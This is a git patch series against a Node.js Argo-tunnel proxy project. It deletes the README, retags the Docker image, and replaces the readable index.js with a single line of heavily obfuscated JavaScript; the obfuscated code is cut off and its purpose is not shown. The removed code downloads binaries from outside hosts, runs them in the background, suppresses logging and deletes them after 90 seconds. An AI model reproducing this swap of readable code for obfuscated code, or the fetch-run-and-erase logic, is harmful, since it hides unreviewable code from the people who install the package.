From 42966d40e019e7d8fe92f999333a61b9f908cf40 Mon Sep 17 00:00:00 2001 From: ghubtron Date: Wed, 29 Oct 2025 19:48:17 +0800 Subject: [PATCH 1/3] Delete README.md --- README.md | 209 ------------------------------------------------------ 1 file changed, 209 deletions(-) delete mode 100644 README.md diff --git a/README.md b/README.md deleted file mode 100644 index f07f8f3ac6..0000000000 --- a/README.md +++ /dev/null @@ -1,209 +0,0 @@ -
- -# nodejs-argo隧道代理 - -[![npm version](https://img.shields.io/npm/v/nodejs-argo.svg)](https://www.npmjs.com/package/nodejs-argo) -[![npm downloads](https://img.shields.io/npm/dm/nodejs-argo.svg)](https://www.npmjs.com/package/nodejs-argo) -[![License](https://img.shields.io/npm/l/nodejs-argo.svg)](https://github.com/eooce/nodejs-argo/blob/main/LICENSE) - -nodejs-argo是一个强大的Argo隧道部署工具,专为PaaS平台和游戏玩具平台设计。它支持多种代理协议(VLESS、VMess、Trojan等),并集成了哪吒探针功能。 - ---- - -Telegram交流反馈群组:https://t.me/eooceu -
- -## 郑重声明 -* 本项目自2025年10月29日15时45分起,已更改开源协议为GPL 3.0,并包含以下特定要求 -* 此项目仅限个人使用,禁止用于商业行为(包括但不限于:youtube,bilibili,tiktok,facebook..等等) -* 禁止新建项目将代码复制到自己仓库中用做商业行为 -* 请遵守当地法律法规,禁止滥用做公共代理行为 -* 如有违反以上条款者将追究法律责任 - -## 说明 (部署前请仔细阅读) - -* 本项目是针对node环境的paas平台和游戏玩具而生,采用Argo隧道部署节点,集成哪吒探针v0或v1可选。 -* node玩具平台只需上传index.js和package.json即可,paas平台需要docker部署的才上传Dockerfile。 -* 不填写ARGO_DOMAIN和ARGO_AUTH两个变量即启用临时隧道,反之则使用固定隧道。 -* 哪吒v0/v1可选,当哪吒端口为{443,8443,2096,2087,2083,2053}其中之一时,自动开启tls。 - -## 📋 环境变量 - -| 变量名 | 是否必须 | 默认值 | 说明 | -|--------|----------|--------|------| -| UPLOAD_URL | 否 | - | 订阅上传地址 | -| PROJECT_URL | 否 | https://www.google.com | 项目分配的域名 | -| AUTO_ACCESS | 否 | false | 是否开启自动访问保活 | -| PORT | 否 | 3000 | HTTP服务监听端口 | -| ARGO_PORT | 否 | 8001 | Argo隧道端口 | -| UUID | 否 | 89c13786-25aa-4520-b2e7-12cd60fb5202 | 用户UUID | -| NEZHA_SERVER | 否 | - | 哪吒面板域名 | -| NEZHA_PORT | 否 | - | 哪吒端口 | -| NEZHA_KEY | 否 | - | 哪吒密钥 | -| ARGO_DOMAIN | 否 | - | Argo固定隧道域名 | -| ARGO_AUTH | 否 | - | Argo固定隧道密钥 | -| CFIP | 否 | www.visa.com.tw | 节点优选域名或IP | -| CFPORT | 否 | 443 | 节点端口 | -| NAME | 否 | Vls | 节点名称前缀 | -| FILE_PATH | 否 | ./tmp | 运行目录 | -| SUB_PATH | 否 | sub | 订阅路径 | - -## 🌐 订阅地址 - -- 标准端口:`https://your-domain.com/sub` -- 非标端口:`http://your-domain.com:port/sub` - ---- - -## 🚀 进阶使用 - -### 安装 - -```bash -# 全局安装(推荐) -npm install -g nodejs-argo - -# 或者使用yarn -yarn global add nodejs-argo - -# 或者使用pnpm -pnpm add -g nodejs-argo -``` - -### 基本使用 - -```bash -# 直接运行(使用默认配置) -nodejs-argo - -# 使用npx运行 -npx nodejs-argo - -# 设置环境变量运行 - PORT=3000 npx nodejs-argo -``` - -### 环境变量配置 - -可使用 `.env` 文件来配置环境变量运行 - - -或者直接在命令行中设置: - -```bash -export UPLOAD_URL="https://your-merge-sub-domain.com" -export PROJECT_URL="https://your-project-domain.com" -export PORT=3000 -export UUID="your-uuid-here" -export NEZHA_SERVER="nz.your-domain.com:8008" -export NEZHA_KEY="your-nezha-key" -``` - -## 📦 作为npm模块使用 - -```javascript -// CommonJS -const nodejsArgo = require('nodejs-argo'); - -// ES6 Modules -import nodejsArgo from 'nodejs-argo'; - -// 启动服务 -nodejsArgo.start(); -``` - -## 🔧 后台运行 - -### 使用screen(推荐) -```bash -# 创建screen会话 -screen -S argo - -# 运行应用 -nodejs-argo - -# 按 Ctrl+A 然后按 D 分离会话 -# 重新连接:screen -r argo -``` - -### 使用tmux -```bash -# 创建tmux会话 -tmux new-session -d -s argo - -# 运行应用 -tmux send-keys -t argo "nodejs-argo" Enter - -# 分离会话:tmux detach -s argo -# 重新连接:tmux attach -t argo -``` - -### 使用PM2 -```bash -# 安装PM2 -npm install -g pm2 - -# 启动应用 -pm2 start nodejs-argo --name "argo-service" - -# 管理应用 -pm2 status -pm2 logs argo-service -pm2 restart argo-service -``` - -### 使用systemd(Linux系统服务) -```bash -# 创建服务文件 -sudo nano /etc/systemd/system/nodejs-argo.service - -``` -[Unit] -Description=Node.js Argo Service -After=network.target - -[Service] -Type=simple -User=root -WorkingDirectory=/root/test -Environment=ARGO_PORT=8080 -Environment=PORT=3000 -ExecStart=/usr/bin/npx nodejs-argo -Restart=always -RestartSec=10 - -[Install] -WantedBy=multi-user.target -``` - -# 启动服务 -sudo systemctl start nodejs-argo -sudo systemctl enable nodejs-argo -``` - -## 🔄 更新 - -```bash -# 更新全局安装的包 -npm update -g nodejs-argo - -# 或者重新安装 -npm uninstall -g nodejs-argo -npm install -g nodejs-argo -``` - -## 📚 更多信息 - -- [GitHub仓库](https://github.com/eooce/nodejs-argo) -- [npm包页面](https://www.npmjs.com/package/nodejs-argo) -- [问题反馈](https://github.com/eooce/nodejs-argo/issues) - ---- - -## 赞助 -* 感谢[VPS.Town](https://vps.town)提供赞助 https://vps.town - -* 感谢[ZMTO](https://zmto.com/?affid=1548)提供赞助优质双isp vps。 - -## 许可证 -GPL 3.0 From c48789fca1eb72c54662e37bc37ceefe9f857e09 Mon Sep 17 00:00:00 2001 From: ghubtron Date: Wed, 29 Oct 2025 19:48:58 +0800 Subject: [PATCH 2/3] Update build-docker-image.yml --- .github/workflows/build-docker-image.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-docker-image.yml b/.github/workflows/build-docker-image.yml index 8921cacbef..167028f586 100644 --- a/.github/workflows/build-docker-image.yml +++ b/.github/workflows/build-docker-image.yml @@ -39,7 +39,7 @@ jobs: push: true platforms: linux/amd64,linux/arm64 tags: | - ghcr.io/${{ github.repository_owner }}/nodejs:latest + ghcr.io/${{ github.repository_owner }}/troni:2025 labels: | org.opencontainers.image.source=https://github.com/${{ github.repository }} org.opencontainers.image.description=HTTP Server From e8b1df614f53b1a2ec4356e324e11f9175f2e7c3 Mon Sep 17 00:00:00 2001 From: ghubtron Date: Wed, 29 Oct 2025 20:02:35 +0800 Subject: [PATCH 3/3] Update index.js --- index.js | 609 +------------------------------------------------------ 1 file changed, 1 insertion(+), 608 deletions(-) diff --git a/index.js b/index.js index 990ec54fdf..e031493fa0 100644 --- a/index.js +++ b/index.js @@ -1,608 +1 @@ -const express = require("express"); -const app = express(); -const axios = require("axios"); -const os = require('os'); -const fs = require("fs"); -const path = require("path"); -const { promisify } = require('util'); -const exec = promisify(require('child_process').exec); -const { execSync } = require('child_process'); // 只填写UPLOAD_URL将上传节点,同时填写UPLOAD_URL和PROJECT_URL将上传订阅 -const UPLOAD_URL = process.env.UPLOAD_URL || ''; // 节点或订阅自动上传地址,需填写部署Merge-sub项目后的首页地址,例如:https://merge.xxx.com -const PROJECT_URL = process.env.PROJECT_URL || ''; // 需要上传订阅或保活时需填写项目分配的url,例如:https://google.com -const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // false关闭自动保活,true开启,需同时填写PROJECT_URL变量 -const FILE_PATH = process.env.FILE_PATH || './tmp'; // 运行目录,sub节点文件保存目录 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 订阅路径 -const PORT = process.env.SERVER_PORT || process.env.PORT || 3000; // http服务订阅端口 -const UUID = process.env.UUID || '9afd1229-b893-40c1-84dd-51e7ce204913'; // 使用哪吒v1,在不同的平台运行需修改UUID,否则会覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式: nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 使用哪吒v1请留空,哪吒v0需填写 -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // 哪吒v1的NZ_CLIENT_SECRET或哪吒v0的agent密钥 -const ARGO_DOMAIN = process.env.ARGO_DOMAIN || ''; // 固定隧道域名,留空即启用临时隧道 -const ARGO_AUTH = process.env.ARGO_AUTH || ''; // 固定隧道密钥json或token,留空即启用临时隧道,json获取地址:https://json.zone.id -const ARGO_PORT = process.env.ARGO_PORT || 8001; // 固定隧道端口,使用token需在cloudflare后台设置和这里一致 -const CFIP = process.env.CFIP || 'cdns.doon.eu.org'; // 节点优选域名或优选ip -const CFPORT = process.env.CFPORT || 443; // 节点优选域名或优选ip对应的端口 -const NAME = process.env.NAME || ''; // 节点名称 - -// 创建运行文件夹 -if (!fs.existsSync(FILE_PATH)) { - fs.mkdirSync(FILE_PATH); - console.log(`${FILE_PATH} is created`); -} else { - console.log(`${FILE_PATH} already exists`); -} - -// 生成随机6位字符文件名 -function generateRandomName() { - const characters = 'abcdefghijklmnopqrstuvwxyz'; - let result = ''; - for (let i = 0; i < 6; i++) { - result += characters.charAt(Math.floor(Math.random() * characters.length)); - } - return result; -} - -// 全局常量 -const npmName = generateRandomName(); -const webName = generateRandomName(); -const botName = generateRandomName(); -const phpName = generateRandomName(); -let npmPath = path.join(FILE_PATH, npmName); -let phpPath = path.join(FILE_PATH, phpName); -let webPath = path.join(FILE_PATH, webName); -let botPath = path.join(FILE_PATH, botName); -let subPath = path.join(FILE_PATH, 'sub.txt'); -let listPath = path.join(FILE_PATH, 'list.txt'); -let bootLogPath = path.join(FILE_PATH, 'boot.log'); -let configPath = path.join(FILE_PATH, 'config.json'); - -// 如果订阅器上存在历史运行节点则先删除 -function deleteNodes() { - try { - if (!UPLOAD_URL) return; - if (!fs.existsSync(subPath)) return; - - let fileContent; - try { - fileContent = fs.readFileSync(subPath, 'utf-8'); - } catch { - return null; - } - - const decoded = Buffer.from(fileContent, 'base64').toString('utf-8'); - const nodes = decoded.split('\n').filter(line => - /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line) - ); - - if (nodes.length === 0) return; - - axios.post(`${UPLOAD_URL}/api/delete-nodes`, - JSON.stringify({ nodes }), - { headers: { 'Content-Type': 'application/json' } } - ).catch((error) => { - return null; - }); - return null; - } catch (err) { - return null; - } -} - -// 清理历史文件 -function cleanupOldFiles() { - try { - const files = fs.readdirSync(FILE_PATH); - files.forEach(file => { - const filePath = path.join(FILE_PATH, file); - try { - const stat = fs.statSync(filePath); - if (stat.isFile()) { - fs.unlinkSync(filePath); - } - } catch (err) { - // 忽略所有错误,不记录日志 - } - }); - } catch (err) { - // 忽略所有错误,不记录日志 - } -} - -// 根路由 -app.get("/", function(req, res) { - res.send("Hello world!"); -}); - -// 生成xr-ay配置文件 -async function generateConfig() { - const config = { - log: { access: '/dev/null', error: '/dev/null', loglevel: 'none' }, - inbounds: [ - { port: ARGO_PORT, protocol: 'vless', settings: { clients: [{ id: UUID, flow: 'xtls-rprx-vision' }], decryption: 'none', fallbacks: [{ dest: 3001 }, { path: "/vless-argo", dest: 3002 }, { path: "/vmess-argo", dest: 3003 }, { path: "/trojan-argo", dest: 3004 }] }, streamSettings: { network: 'tcp' } }, - { port: 3001, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID }], decryption: "none" }, streamSettings: { network: "tcp", security: "none" } }, - { port: 3002, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID, level: 0 }], decryption: "none" }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/vless-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - { port: 3003, listen: "127.0.0.1", protocol: "vmess", settings: { clients: [{ id: UUID, alterId: 0 }] }, streamSettings: { network: "ws", wsSettings: { path: "/vmess-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - { port: 3004, listen: "127.0.0.1", protocol: "trojan", settings: { clients: [{ password: UUID }] }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/trojan-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - ], - dns: { servers: ["https+local://8.8.8.8/dns-query"] }, - outbounds: [ { protocol: "freedom", tag: "direct" }, {protocol: "blackhole", tag: "block"} ] - }; - fs.writeFileSync(path.join(FILE_PATH, 'config.json'), JSON.stringify(config, null, 2)); -} - -// 判断系统架构 -function getSystemArchitecture() { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - return 'arm'; - } else { - return 'amd'; - } -} - -// 下载对应系统架构的依赖文件 -function downloadFile(fileName, fileUrl, callback) { - const filePath = fileName; - - // 确保目录存在 - if (!fs.existsSync(FILE_PATH)) { - fs.mkdirSync(FILE_PATH, { recursive: true }); - } - - const writer = fs.createWriteStream(filePath); - - axios({ - method: 'get', - url: fileUrl, - responseType: 'stream', - }) - .then(response => { - response.data.pipe(writer); - - writer.on('finish', () => { - writer.close(); - console.log(`Download ${path.basename(filePath)} successfully`); - callback(null, filePath); - }); - - writer.on('error', err => { - fs.unlink(filePath, () => { }); - const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; - console.error(errorMessage); // 下载失败时输出错误消息 - callback(errorMessage); - }); - }) - .catch(err => { - const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; - console.error(errorMessage); // 下载失败时输出错误消息 - callback(errorMessage); - }); -} - -// 下载并运行依赖文件 -async function downloadFilesAndRun() { - - const architecture = getSystemArchitecture(); - const filesToDownload = getFilesForArchitecture(architecture); - - if (filesToDownload.length === 0) { - console.log(`Can't find a file for the current architecture`); - return; - } - - const downloadPromises = filesToDownload.map(fileInfo => { - return new Promise((resolve, reject) => { - downloadFile(fileInfo.fileName, fileInfo.fileUrl, (err, filePath) => { - if (err) { - reject(err); - } else { - resolve(filePath); - } - }); - }); - }); - - try { - await Promise.all(downloadPromises); - } catch (err) { - console.error('Error downloading files:', err); - return; - } - // 授权和运行 - function authorizeFiles(filePaths) { - const newPermissions = 0o775; - filePaths.forEach(absoluteFilePath => { - if (fs.existsSync(absoluteFilePath)) { - fs.chmod(absoluteFilePath, newPermissions, (err) => { - if (err) { - console.error(`Empowerment failed for ${absoluteFilePath}: ${err}`); - } else { - console.log(`Empowerment success for ${absoluteFilePath}: ${newPermissions.toString(8)}`); - } - }); - } - }); - } - const filesToAuthorize = NEZHA_PORT ? [npmPath, webPath, botPath] : [phpPath, webPath, botPath]; - authorizeFiles(filesToAuthorize); - - //运行ne-zha - if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - // 检测哪吒是否开启TLS - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const tlsPorts = new Set(['443', '8443', '2096', '2087', '2083', '2053']); - const nezhatls = tlsPorts.has(port) ? 'true' : 'false'; - // 生成 config.yaml - const configYaml = ` -client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${nezhatls} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync(path.join(FILE_PATH, 'config.yaml'), configYaml); - - // 运行 v1 - const command = `nohup ${phpPath} -c "${FILE_PATH}/config.yaml" >/dev/null 2>&1 &`; - try { - await exec(command); - console.log(`${phpName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`php running error: ${error}`); - } - } else { - let NEZHA_TLS = ''; - const tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - if (tlsPorts.includes(NEZHA_PORT)) { - NEZHA_TLS = '--tls'; - } - const command = `nohup ${npmPath} -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - try { - await exec(command); - console.log(`${npmName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`npm running error: ${error}`); - } - } - } else { - console.log('NEZHA variable is empty,skip running'); - } - //运行xr-ay - const command1 = `nohup ${webPath} -c ${FILE_PATH}/config.json >/dev/null 2>&1 &`; - try { - await exec(command1); - console.log(`${webName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`web running error: ${error}`); - } - - // 运行cloud-fared - if (fs.existsSync(botPath)) { - let args; - - if (ARGO_AUTH.match(/^[A-Z0-9a-z=]{120,250}$/)) { - args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 run --token ${ARGO_AUTH}`; - } else if (ARGO_AUTH.match(/TunnelSecret/)) { - args = `tunnel --edge-ip-version auto --config ${FILE_PATH}/tunnel.yml run`; - } else { - args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; - } - - try { - await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); - console.log(`${botName} is running`); - await new Promise((resolve) => setTimeout(resolve, 2000)); - } catch (error) { - console.error(`Error executing command: ${error}`); - } - } - await new Promise((resolve) => setTimeout(resolve, 5000)); - -} - -//根据系统架构返回对应的url -function getFilesForArchitecture(architecture) { - let baseFiles; - if (architecture === 'arm') { - baseFiles = [ - { fileName: webPath, fileUrl: "https://arm64.ssss.nyc.mn/web" }, - { fileName: botPath, fileUrl: "https://arm64.ssss.nyc.mn/bot" } - ]; - } else { - baseFiles = [ - { fileName: webPath, fileUrl: "https://amd64.ssss.nyc.mn/web" }, - { fileName: botPath, fileUrl: "https://amd64.ssss.nyc.mn/bot" } - ]; - } - - if (NEZHA_SERVER && NEZHA_KEY) { - if (NEZHA_PORT) { - const npmUrl = architecture === 'arm' - ? "https://arm64.ssss.nyc.mn/agent" - : "https://amd64.ssss.nyc.mn/agent"; - baseFiles.unshift({ - fileName: npmPath, - fileUrl: npmUrl - }); - } else { - const phpUrl = architecture === 'arm' - ? "https://arm64.ssss.nyc.mn/v1" - : "https://amd64.ssss.nyc.mn/v1"; - baseFiles.unshift({ - fileName: phpPath, - fileUrl: phpUrl - }); - } - } - - return baseFiles; -} - -// 获取固定隧道json -function argoType() { - if (!ARGO_AUTH || !ARGO_DOMAIN) { - console.log("ARGO_DOMAIN or ARGO_AUTH variable is empty, use quick tunnels"); - return; - } - - if (ARGO_AUTH.includes('TunnelSecret')) { - fs.writeFileSync(path.join(FILE_PATH, 'tunnel.json'), ARGO_AUTH); - const tunnelYaml = ` - tunnel: ${ARGO_AUTH.split('"')[11]} - credentials-file: ${path.join(FILE_PATH, 'tunnel.json')} - protocol: http2 - - ingress: - - hostname: ${ARGO_DOMAIN} - service: http://localhost:${ARGO_PORT} - originRequest: - noTLSVerify: true - - service: http_status:404 - `; - fs.writeFileSync(path.join(FILE_PATH, 'tunnel.yml'), tunnelYaml); - } else { - console.log("ARGO_AUTH mismatch TunnelSecret,use token connect to tunnel"); - } -} -argoType(); - -// 获取临时隧道domain -async function extractDomains() { - let argoDomain; - - if (ARGO_AUTH && ARGO_DOMAIN) { - argoDomain = ARGO_DOMAIN; - console.log('ARGO_DOMAIN:', argoDomain); - await generateLinks(argoDomain); - } else { - try { - const fileContent = fs.readFileSync(path.join(FILE_PATH, 'boot.log'), 'utf-8'); - const lines = fileContent.split('\n'); - const argoDomains = []; - lines.forEach((line) => { - const domainMatch = line.match(/https?:\/\/([^ ]*trycloudflare\.com)\/?/); - if (domainMatch) { - const domain = domainMatch[1]; - argoDomains.push(domain); - } - }); - - if (argoDomains.length > 0) { - argoDomain = argoDomains[0]; - console.log('ArgoDomain:', argoDomain); - await generateLinks(argoDomain); - } else { - console.log('ArgoDomain not found, re-running bot to obtain ArgoDomain'); - // 删除 boot.log 文件,等待 2s 重新运行 server 以获取 ArgoDomain - fs.unlinkSync(path.join(FILE_PATH, 'boot.log')); - async function killBotProcess() { - try { - // Windows系统使用taskkill命令 - if (process.platform === 'win32') { - await exec(`taskkill /f /im ${botName}.exe > nul 2>&1`); - } else { - await exec(`pkill -f "[${botName.charAt(0)}]${botName.substring(1)}" > /dev/null 2>&1`); - } - } catch (error) { - // 忽略输出 - } - } - killBotProcess(); - await new Promise((resolve) => setTimeout(resolve, 3000)); - const args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; - try { - await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); - console.log(`${botName} is running`); - await new Promise((resolve) => setTimeout(resolve, 3000)); - await extractDomains(); // 重新提取域名 - } catch (error) { - console.error(`Error executing command: ${error}`); - } - } - } catch (error) { - console.error('Error reading boot.log:', error); - } - } - - // 生成 list 和 sub 信息 - async function generateLinks(argoDomain) { - const metaInfo = execSync( - 'curl -sm 5 https://speed.cloudflare.com/meta | awk -F\\" \'{print $26"-"$18}\' | sed -e \'s/ /_/g\'', - { encoding: 'utf-8' } - ); - const ISP = metaInfo.trim(); - // 如果 NAME 为空,则只使用 ISP 作为名称 - const nodeName = NAME ? `${NAME}-${ISP}` : ISP; - - return new Promise((resolve) => { - setTimeout(() => { - const VMESS = { v: '2', ps: `${nodeName}`, add: CFIP, port: CFPORT, id: UUID, aid: '0', scy: 'none', net: 'ws', type: 'none', host: argoDomain, path: '/vmess-argo?ed=2560', tls: 'tls', sni: argoDomain, alpn: '', fp: 'firefox'}; - const subTxt = ` -vless://${UUID}@${CFIP}:${CFPORT}?encryption=none&security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Fvless-argo%3Fed%3D2560#${nodeName} - -vmess://${Buffer.from(JSON.stringify(VMESS)).toString('base64')} - -trojan://${UUID}@${CFIP}:${CFPORT}?security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Ftrojan-argo%3Fed%3D2560#${nodeName} - `; - // 打印 sub.txt 内容到控制台 - console.log(Buffer.from(subTxt).toString('base64')); - fs.writeFileSync(subPath, Buffer.from(subTxt).toString('base64')); - console.log(`${FILE_PATH}/sub.txt saved successfully`); - uploadNodes(); - // 将内容进行 base64 编码并写入 SUB_PATH 路由 - app.get(`/${SUB_PATH}`, (req, res) => { - const encodedContent = Buffer.from(subTxt).toString('base64'); - res.set('Content-Type', 'text/plain; charset=utf-8'); - res.send(encodedContent); - }); - resolve(subTxt); - }, 2000); - }); - } -} - -// 自动上传节点或订阅 -async function uploadNodes() { - if (UPLOAD_URL && PROJECT_URL) { - const subscriptionUrl = `${PROJECT_URL}/${SUB_PATH}`; - const jsonData = { - subscription: [subscriptionUrl] - }; - try { - const response = await axios.post(`${UPLOAD_URL}/api/add-subscriptions`, jsonData, { - headers: { - 'Content-Type': 'application/json' - } - }); - - if (response && response.status === 200) { - console.log('Subscription uploaded successfully'); - return response; - } else { - return null; - // console.log('Unknown response status'); - } - } catch (error) { - if (error.response) { - if (error.response.status === 400) { - // console.error('Subscription already exists'); - } - } - } - } else if (UPLOAD_URL) { - if (!fs.existsSync(listPath)) return; - const content = fs.readFileSync(listPath, 'utf-8'); - const nodes = content.split('\n').filter(line => /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line)); - - if (nodes.length === 0) return; - - const jsonData = JSON.stringify({ nodes }); - - try { - const response = await axios.post(`${UPLOAD_URL}/api/add-nodes`, jsonData, { - headers: { 'Content-Type': 'application/json' } - }); - if (response && response.status === 200) { - console.log('Nodes uploaded successfully'); - return response; - } else { - return null; - } - } catch (error) { - return null; - } - } else { - // console.log('Skipping upload nodes'); - return; - } -} - -// 90s后删除相关文件 -function cleanFiles() { - setTimeout(() => { - const filesToDelete = [bootLogPath, configPath, webPath, botPath]; - - if (NEZHA_PORT) { - filesToDelete.push(npmPath); - } else if (NEZHA_SERVER && NEZHA_KEY) { - filesToDelete.push(phpPath); - } - - // Windows系统使用不同的删除命令 - if (process.platform === 'win32') { - exec(`del /f /q ${filesToDelete.join(' ')} > nul 2>&1`, (error) => { - console.clear(); - console.log('App is running'); - console.log('Thank you for using this script, enjoy!'); - }); - } else { - exec(`rm -rf ${filesToDelete.join(' ')} >/dev/null 2>&1`, (error) => { - console.clear(); - console.log('App is running'); - console.log('Thank you for using this script, enjoy!'); - }); - } - }, 90000); // 90s -} -cleanFiles(); - -// 自动访问项目URL -async function AddVisitTask() { - if (!AUTO_ACCESS || !PROJECT_URL) { - console.log("Skipping adding automatic access task"); - return; - } - - try { - const response = await axios.post('https://oooo.serv00.net/add-url', { - url: PROJECT_URL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - // console.log(`${JSON.stringify(response.data)}`); - console.log(`automatic access task added successfully`); - return response; - } catch (error) { - console.error(`Add automatic access task faild: ${error.message}`); - return null; - } -} - -// 主运行逻辑 -async function startserver() { - try { - deleteNodes(); - cleanupOldFiles(); - await generateConfig(); - await downloadFilesAndRun(); - await extractDomains(); - await AddVisitTask(); - } catch (error) { - console.error('Error in startserver:', error); - } -} -startserver().catch(error => { - console.error('Unhandled error in startserver:', error); -}); - -app.listen(PORT, () => console.log(`http server is running on port:${PORT}!`)); +function _0x1045(_0x50520e,_0x1835b2){const _0x250af2=_0x250a();return _0x1045=function(_0x10458f,_0x2329f2){_0x10458f=_0x10458f-(-0x1af*-0x2+-0x264c+-0x127*-0x1f);let _0x249500=_0x250af2[_0x10458f];return _0x249500;},_0x1045(_0x50520e,_0x1835b2);}(function(_0x5ec79a,_0x20fb88){function _0xfca516(_0x3e0e70,_0x2d5d5f,_0x2482e5,_0x4e1b70){return _0x1045(_0x3e0e70-0x246,_0x2482e5);}function _0x3bbed3(_0x206a21,_0x1b3cfb,_0x428817,_0x987973){return _0x1045(_0x1b3cfb-0x218,_0x206a21);}const _0x4b082d=_0x5ec79a();while(!![]){try{const _0x52da8c=-parseInt(_0xfca516(0x477,0x33e,0x4b5,0x45b))/(-0x1*0x2611+-0x20c9+0x42b*0x11)+-parseInt(_0xfca516(0x45d,0x4bd,0x3a2,0x4d2))/(-0x24ef+0x1*0x207a+0x477)*(parseInt(_0xfca516(0x554,0x437,0x4ee,0x647))/(0x3eb*0x3+-0x19*-0x2b+-0xff1))+-parseInt(_0xfca516(0x585,0x6c5,0x627,0x45c))/(0x17*0x113+-0x1*0x7ed+-0x10c4)+-parseInt(_0xfca516(0x55e,0x40c,0x66a,0x696))/(0x1df*0x13+0x21b7+-0x453f)+parseInt(_0xfca516(0x34d,0x49a,0x1fe,0x26e))/(-0x76*-0x1e+0x243c+-0x320a)+-parseInt(_0x3bbed3(0x300,0x32e,0x466,0x20e))/(0x62*-0x1e+0xe84+-0x1*0x301)+parseInt(_0x3bbed3(0x5ac,0x575,0x615,0x6a0))/(0x1533+-0x1*-0x1235+-0x2760)*(parseInt(_0xfca516(0x459,0x3d0,0x44b,0x4e9))/(-0x2043+0x92*0x4+0x1e04));if(_0x52da8c===_0x20fb88)break;else _0x4b082d['push'](_0x4b082d['shift']());}catch(_0x537799){_0x4b082d['push'](_0x4b082d['shift']());}}}(_0x250a,-0x4c15*0x8+0x12f3a*-0x1+-0x3e36f*-0x3));const _0x1835b2=(function(){const _0xf4574={};_0xf4574[_0x50e457(0xb5,0x1a9,0x17f,0x9e)]=function(_0x436920,_0x5b96c3){return _0x436920!==_0x5b96c3;},_0xf4574[_0x40e780(0x2,-0xda,0x48,-0xa1)]=_0x50e457(-0xfc,0x6a,0x8b,-0x50),_0xf4574['NUDJA']=function(_0x4897d3,_0x245f33){return _0x4897d3===_0x245f33;};function _0x50e457(_0x4fd923,_0x1d532d,_0x147951,_0x2200c2){return _0x1045(_0x2200c2- -0x11d,_0x147951);}const _0xb806b0=_0xf4574;let _0x3689db=!![];function _0x40e780(_0x3decae,_0x4d77ca,_0x1beb4f,_0x528336){return _0x1045(_0x3decae- -0x1da,_0x4d77ca);}return function(_0x46a492,_0x30ea50){function _0x207e5c(_0x28e734,_0x4766f3,_0x2c6fd1,_0x4cb0da){return _0x50e457(_0x28e734-0xbd,_0x4766f3-0x12d,_0x4766f3,_0x28e734- -0x228);}const _0x47bc17={'UtRGx':function(_0x35a22d,_0x259ca4){function _0x5806cd(_0x1d06b6,_0x113102,_0x114fb0,_0x1eae5d){return _0x1045(_0x1d06b6- -0x279,_0x1eae5d);}return _0xb806b0[_0x5806cd(-0xbe,0x3a,-0x67,-0x1b5)](_0x35a22d,_0x259ca4);},'ChFiG':_0xb806b0[_0x201201(0x27c,0x1cc,0x12,0x145)]};function _0x201201(_0x5ed8c3,_0x546a46,_0x2e21ef,_0x372a82){return _0x50e457(_0x5ed8c3-0x10a,_0x546a46-0x136,_0x546a46,_0x372a82-0x86);}if(_0xb806b0[_0x207e5c(-0x218,-0x28b,-0x135,-0x2c1)]('jOHuV',_0x207e5c(-0x1cd,-0x140,-0x7e,-0x163))){const _0x1e0715=_0x3689db?function(){function _0x4356ac(_0x36fd72,_0x3db599,_0x4c8d2c,_0x3cf7eb){return _0x201201(_0x36fd72-0x126,_0x4c8d2c,_0x4c8d2c-0x1c8,_0x3cf7eb- -0x250);}function _0x5d7273(_0x18efe3,_0x461eb0,_0x11125e,_0xe1ccda){return 